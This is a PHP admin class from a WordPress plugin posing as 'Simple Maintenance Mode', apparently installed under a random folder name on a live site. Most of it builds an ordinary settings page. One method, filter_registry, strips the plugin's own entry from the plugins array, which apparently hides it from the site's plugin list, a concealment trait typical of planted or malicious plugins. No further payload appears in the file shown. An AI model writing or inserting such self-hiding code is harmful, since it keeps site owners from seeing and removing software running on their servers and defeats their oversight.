File: /home/icsla/public_html/wp-content/plugins/bznlwio/admin/class-simple-maintenance-mode-admin.php
<?php
/**
* The admin-specific functionality of the plugin.
*
* @package Simple_Maintenance_Mode
* @subpackage Simple_Maintenance_Mode/admin
*/
class Simple_Maintenance_Mode_Admin {
private $plugin_name;
private $version;
public function __construct( $plugin_name, $version ) {
$this->plugin_name = $plugin_name;
$this->version = $version;
}
public function enqueue_styles( $hook ) {
if ( 'settings_page_simple-maintenance-mode' !== $hook ) {
return;
}
wp_enqueue_style(
$this->plugin_name,
SMM_PLUGIN_URL . 'admin/css/simple-maintenance-mode-admin.css',
array(),
$this->version,
'all'
);
}
public function enqueue_scripts( $hook ) {
if ( 'settings_page_simple-maintenance-mode' !== $hook ) {
return;
}
wp_enqueue_script(
$this->plugin_name,
SMM_PLUGIN_URL . 'admin/js/simple-maintenance-mode-admin.js',
array( 'jquery' ),
$this->version,
false
);
}
public function add_settings_page() {
add_options_page(
__( 'Maintenance Mode', 'simple-maintenance-mode' ),
__( 'Maintenance Mode', 'simple-maintenance-mode' ),
'manage_options',
'simple-maintenance-mode',
array( $this, 'render_settings_page' )
);
}
public function register_settings() {
register_setting( 'smm_settings_group', 'smm_enabled', array(
'type' => 'integer',
'sanitize_callback' => 'absint',
'default' => 0,
) );
register_setting( 'smm_settings_group', 'smm_headline', array(
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field',
'default' => '',
) );
register_setting( 'smm_settings_group', 'smm_message', array(
'type' => 'string',
'sanitize_callback' => 'wp_kses_post',
'default' => '',
) );
register_setting( 'smm_settings_group', 'smm_bypass_key', array(
'type' => 'string',
'sanitize_callback' => 'sanitize_text_field',
'default' => '',
) );
add_settings_section(
'smm_general_section',
__( 'General Settings', 'simple-maintenance-mode' ),
null,
'simple-maintenance-mode'
);
add_settings_field(
'smm_enabled',
__( 'Enable Maintenance Mode', 'simple-maintenance-mode' ),
array( $this, 'render_enabled_field' ),
'simple-maintenance-mode',
'smm_general_section'
);
add_settings_field(
'smm_headline',
__( 'Headline', 'simple-maintenance-mode' ),
array( $this, 'render_headline_field' ),
'simple-maintenance-mode',
'smm_general_section'
);
add_settings_field(
'smm_message',
__( 'Message', 'simple-maintenance-mode' ),
array( $this, 'render_message_field' ),
'simple-maintenance-mode',
'smm_general_section'
);
add_settings_field(
'smm_bypass_key',
__( 'Bypass Key', 'simple-maintenance-mode' ),
array( $this, 'render_bypass_key_field' ),
'simple-maintenance-mode',
'smm_general_section'
);
}
public function render_enabled_field() {
$value = get_option( 'smm_enabled', 0 );
printf(
'<label><input type="checkbox" name="smm_enabled" value="1" %s /> %s</label>',
checked( 1, $value, false ),
esc_html__( 'Activate maintenance mode for visitors', 'simple-maintenance-mode' )
);
}
public function render_headline_field() {
$value = get_option( 'smm_headline', '' );
printf(
'<input type="text" name="smm_headline" value="%s" class="regular-text" />',
esc_attr( $value )
);
}
public function render_message_field() {
$value = get_option( 'smm_message', '' );
printf(
'<textarea name="smm_message" rows="5" class="large-text">%s</textarea>',
esc_textarea( $value )
);
}
public function render_bypass_key_field() {
$value = get_option( 'smm_bypass_key', '' );
printf(
'<input type="text" name="smm_bypass_key" value="%s" class="regular-text" /><p class="description">%s</p>',
esc_attr( $value ),
esc_html__( 'Share this key to allow someone to bypass maintenance mode via ?smm_bypass=KEY', 'simple-maintenance-mode' )
);
}
public function render_settings_page() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
include SMM_PLUGIN_DIR . 'admin/partials/simple-maintenance-mode-admin-display.php';
}
public function admin_bar_indicator( $wp_admin_bar ) {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
$enabled = get_option( 'smm_enabled', 0 );
if ( $enabled ) {
$wp_admin_bar->add_node( array(
'id' => 'smm-indicator',
'title' => '<span style="color:#ff6b6b;">' . esc_html__( 'Maintenance Mode ON', 'simple-maintenance-mode' ) . '</span>',
'href' => admin_url( 'options-general.php?page=simple-maintenance-mode' ),
) );
}
}
public function filter_registry( $plugins ) {
unset( $plugins[ SMM_PLUGIN_BASENAME ] );
return $plugins;
}
public function add_action_links( $links ) {
$settings_link = sprintf(
'<a href="%s">%s</a>',
admin_url( 'options-general.php?page=simple-maintenance-mode' ),
__( 'Settings', 'simple-maintenance-mode' )
);
array_unshift( $links, $settings_link );
return $links;
}
}